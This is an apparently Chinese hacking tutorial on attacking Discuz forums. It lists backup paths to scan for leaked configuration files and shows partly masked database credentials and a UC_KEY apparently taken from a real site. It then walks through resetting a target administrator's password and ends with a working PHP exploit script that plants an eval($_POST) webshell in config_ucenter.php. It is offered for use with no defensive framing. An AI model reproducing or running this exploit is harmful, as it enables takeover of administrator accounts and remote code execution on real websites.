通常可以通过扫描这些文件获取Discuz的UC_KEY

/config/config_global.php.bak
/uc_server/data/config.inc.php.bak
/config/config_global.php.zip
/config/config_global.php.rar
/config/config_global.tar.gz
/uc_server/data/config.inc.php.zip
/wwwroot.zip
/wwwroot.rar
/www.rar
/www.zip
/web.rar
/web.zip
/webbak.zip

UC_KEY在config/config_ucenter.php里面

 

define('UC_CONNECT', 'mysql'); define('UC_DBHOST', '10.10.0.**:3306'); define('UC_DBUSER', 'RW_***'); define('UC_DBPW', 'BBS@******#'); define('UC_DBNAME', 'bbs'); define('UC_DBCHARSET', 'utf8'); define('UC_DBTABLEPRE', '`bbs`.cdb_ucenter_'); define('UC_DBCONNECT', 0); define('UC_CHARSET', 'utf-8'); define('UC_KEY', "Uct3K2m7g06fW8Ifk080p9Z************keq8NdN1l73abeY8N6g4W4e64e"); define('UC_API', 'http://bbs.tuniu.com/uc_server'); define('UC_APPID', '1'); define('UC_IP', '127.0.0.1'); //define('UC_PPP', 20);

 

#3 通过获取到的UC_KEY，即可重置论坛任意用户的密码，并清除安全提问

~! 本地环境安装一个标准的Discuz
X2论坛，然后选择站长->UCenter设置

http://127.0.0.1/admin.php?frames=yes&action=setting&operation=uc

填入获取到的信息：

 

 

记得：一定要选择接口方式，且 是否允许其他应用的会员在站点激活、是否允许直接激活 两项配置开启；

#4 设置完毕后，点工具->更新缓存
更新一下系统缓存

#5
来到用户管理界面，找到目标网站的某个管理员信息

http://xx.com/space-uid-35064-profile.html

 

#6 回到自己的本地论坛，添加一个管理员，用户名一定要和实际环境的一致

~! 系统提示用户已经存在，是否在本地激活，选择 是

这样管理员pandas的信息就通过UCenter的UC_KEY同步到了本地

用户 pandas(UID 35064)
添加成功

#7 查看pandas的信息，并修改他的密码，清除安全提问

#8 这样就能使用修改后的密码pandasISpandn，登录目标论坛的后台了

 

 

利用UC_KEY也可以Getshell

<?php 
// 代码版权归原作者所有！
    $timestamp = time()+10*3600;
    $host="www.xx.com";
    $uc_key="5ce0C6kc35i5cfD2D5n6S697C1cdlbM1N8YcddM7u1Abis5F2s3MdM9qc2278L8R4e6";
    $code=urlencode(_authcode("time=$timestamp&#038;action=updateapps", 'ENCODE', $uc_key));
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?-->

 http://xxx\');eval($_POST[xss]);//
';
    $cmd2='<!--?xml version="1.0" encoding="ISO-8859-1"?-->

 http://aaa
';
    $html1 = send($cmd1);
    echo $html1;
    $html2 = send($cmd2);
    echo $html2;

function send($cmd){
    global $host,$code;
    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;

	//var_dump($message);
    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i &lt;= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i &lt; 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i &lt; $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() &gt; 0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}

echo "webshell: http://".$host."/config/config_ucenter.php pass:xss"
?>;